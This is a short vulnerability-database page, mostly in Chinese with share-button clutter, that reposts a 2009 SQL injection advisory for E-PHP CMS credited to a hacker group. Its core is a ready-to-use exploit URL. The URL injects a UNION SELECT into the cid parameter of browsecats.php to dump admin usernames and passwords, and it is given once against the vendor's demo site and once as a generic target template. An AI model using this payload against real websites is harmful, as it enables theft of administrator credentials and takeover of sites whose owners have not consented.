E-PHP cms SQL Injection Vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052261 漏洞类型
发布时间 2009-01-28 更新时间 2009-01-28
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2009010075
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
E-PHP cms SQL Injection Vulnerability

#############################################

Dicovered By:                  SaiedHacker
Group:            HackeranShiraz Security Team
Web Address:           www.HackeranShiraz.Com
E-mail:            SaiedHackerIran_at_Yahoo.com
Creator:                 http://ephpscripts.com
#############################################
Demo Exploit:
http://ephpscripts.com/demo/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin
#############################################
Exploit:
http://Target/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin